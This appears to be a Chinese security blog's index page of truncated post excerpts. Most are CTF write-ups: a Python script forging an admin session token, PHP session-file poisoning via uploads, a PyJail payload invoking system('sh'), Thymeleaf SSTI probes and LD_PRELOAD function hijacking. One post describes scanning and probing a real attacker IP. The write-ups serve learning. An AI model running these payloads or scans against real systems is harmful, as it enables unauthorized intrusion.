What time is it?题目使用f"{username}.{created_at * 2026}"来作为session,但是在/welcome里,任何用户都可以得知admin的created_at的UTC时间,转为timestamp就可以获得admin的session。 123456from datetime import datetime, timezonetime_str = "26/01/2026, 08:18:02 UTC"dt = datetime.strptime(time_str, "%d/%m/%Y, %H:%M:%S UTC")dt = dt.replace(tzinfo=timezone.utc)timestamp = int(dt.timestamp())print("admin." + str(timestamp*2026)) 1DH{It_is_time_t0_s1eep~_~} 22 - SQL Injec ...
After ImageSession Poison开始做这题时,团队成员已经完成了第一部分的Session投毒,这里快速过一下。 profile.php 支持上传配置文件,并把文件直接移动到 /tmp/。 PHP 默认会话文件同样位于临时目录,命名为 /tmp/sess_。 web/php.ini 中启用了 session.use_only_cookies = 0 和 session.use_trans_sid = 1,因此可以通过 URL 参数 ?PHPSESSID= 指定会话。 组合后可通过上传文件直接伪造任意会话文件,形成任意 $_SESSION 注入。 举个例子,上传文件名使用sess_victim123,内容使用 PHP 会话格式,例如 nickname|s:5:"hello";,访问 index.php?PHPSESSID=victim123 后页面会显示伪造值。 因为伪造的是原始 PHP 会话文件,不会经过 **htmlspecialchars()**,登陆后的Welc ...
0x00: 打我干嘛qwq我的VPS被打了,一看sshd日志,全是登录尝试。不过有几个IP吸引了我的注意,它们使用了chaomixian作为用户名尝试登录,而且这样的记录有6049条! 那就拉一条最新的(2026-02-28 21:03)幸运儿61.169.28.178来分析一下。 0x01: 信息收集fscan先上手做初步的信息收集,可以看到,资产还是不少的: 顺藤摸瓜先来到http://61.169.28.178:8000,网页Title是Deeplumen,我马上想到了《人生切割术》😂。 上网搜索一下,发现一篇水文。但无论怎么看,这个都像是山寨的。我更愿意相信deeplumen.io是真的,这个是假的。 对着8000端口扫一下dirsearch,结果还算丰富。快速做一下fuzz,发现访问/assets/路由,会进入一个加载不太正常的网页:按钮乱点一通,发现ai真的有响应。这说明有戏啊。把混淆过的js扔给Gemini分析,获得以下api。 0x02: 你好,外卖🥡 请求方式 接口路径 功能描述 请求参数 / Body POST /public/ecomme ...
Timmy给我发了他的博客编译器幕后,woc好帅,我也要写,写vFlow的。 vFlow 是一款为 Android 平台设计的、强大且高度可扩展的自动化工具。它允许你通过图形化界面,将一系列“动作模块”自由组合成强大的“工作流”,从而自动完成各种日常的、重复性的屏幕操作任务。 首页 工作流编辑 模块管理器 0x00. 起因 2025年4月,在Apple Watch S5上的浏览器上看见一加13T,顿时被它的美貌所吸引:哇!完美的Pixel!完美的粉色!完美的Deco设计! 2025年6月份购入一部一加13T,折腾完root,又感觉索然无味… 2025年7月,机缘巧合下接了一个外包,要求开发一款安卓端自动化宏工具,这就是vFlow的前身,vClick。在开发vClick的过程中,产生了一些vFlow的最初构思,但由于与vClick需求不符,手头的开发开始偏离我的设想。 2025年8月30日,vClick补齐OCR相关功能,vFlow项目新建文件夹。考虑的vClick本身的包袱和局限,没有选择分支 ...
打CTF的时候粗略学过LD_PRELOAD的用法,可以用来绕过php的disable_functions,也可以用于一些特殊场景,改变原有逻辑的预期返回。现在来具体写一篇文章来梳理一下知识点,因为下一个要做的安卓方面的项目需要这个技能点。 简单使用很好理解,就是一个环境变量,提前载入动态链接库,先到先得。举个例子: 劫持函数调用123456789101112131415#define _GNU_SOURCE#include <stdio.h>#include <dlfcn.h>// 要劫持的函数,这里的前面要与原来保持一致int open(const char *pathname, int flags) { // 获取真正的 open 函数地址 int (*original_open)(const char *, int); original_open = dlsym(RTLD_NEXT, "open"); printf("调用了open函数: %s\n", pathname); / ...
魔理沙的魔法目录我以为那个time是累计时长,结果好像是单次时长,最大两位数。眼疾手快发个几十次就好了。 1234567891011121314curl 'http://cloud-big.hgame.vidar.club:30850/record' \-X 'POST' \-H 'Accept: */*' \-H 'Content-Type: application/json' \-H 'Origin: http://cloud-big.hgame.vidar.club:30850' \-H 'User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/26.1 Safari/605.1.15' \-H 'Authorization: d3d55ff5-eb56-4249-b945-e6559142c ...
书接上回 PyJail 自动获取索引。比方说现在有一个license.__class__.__base__.__subclasses__()[155].__init__.__globals__['system']('sh')但是这个155需要先dir(license.__class__.__base__.__subclasses__())才知道,或者二分法拿到<class 'os._wrap_close'>,有没有更好的方法呢? 可以用推导式,动态获取索引,payload如下: 1[x for x in license.__class__.__base__.__subclasses__() if x.__name__ == '_wrap_close'][0].__init__.__globals__['system']('sh') 那么 Java 反射实际上和 PyJail 有一定相似性。 步骤 Python PyJail Java 反射 1. 获取类对 ...
Java题目总是望而却步,这得学啊,结合Gemini给我的大纲一点一点补吧。 Java 基础写过Kotlin了,Java就很好上手(倒反天罡了属于是) 学你妈,直接开始做题,边做边学了呗。 Java 反序列化面向对象的语言总免不了将对象序列化存储的需求,Java反序列化打发应该和PHP差不多(也许吧)。 JNDI 注入与绕过表达式注入SpEL (Spring): 常见于 Spring Boot 报错或 DataBinder 处。OGNL (Struts2): 经典的 Struts2 漏洞核心。Velocity/Thymeleaf (SSTI): 模板注入导致 RCE。框架/组件特定漏洞Spring 系列: Spring4Shell (CVE-2022-22965)、Actuator 未授权访问、H2 Database 注入。Fastjson/Jackson: 经典的 parseObject 导致的反序列化。Log4j2/Logback: Log4Shell 及其后续的绕过技巧。Java 原生缺陷与逻辑Path Traversal: 尤其注意 Zi ...
[Web]EzJava弱密码登陆: admin/admin123 Spring框架Thymeleaf SSTI Pyaload 12345[[${7*7}]]49[[${#ctx}]]{ip=10.0.0.248, now=2025-12-28T09:58:19.162353, ua=Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/143.0.0.0 Safari/537.36, thymeleaf::EvaluationContext=org.thymeleaf.spring5.expression.ThymeleafEvaluationContextWrapper@765801c6}[StandardHTMLInliner]([[${#ctx}]]) 1[[${#ctx.getClass().forName("java.nio.fi ...
ezupload PHP has turned 30, but hey, age is just a number! Like a fine wine (or maybe a funky cheese), it only gets better with time. Or does it? Dive into this challenge and find out for yourself. 题目先来看一眼题目: 12345678910111213141516171819<?php$action = $_GET['action'] ?? '';if ($action === 'create') { $filename = basename($_GET['filename'] ?? 'phpinfo.php'); file_put_contents(realpath('.') . DIRECTORY_SEPARATOR . $filename, & ...



















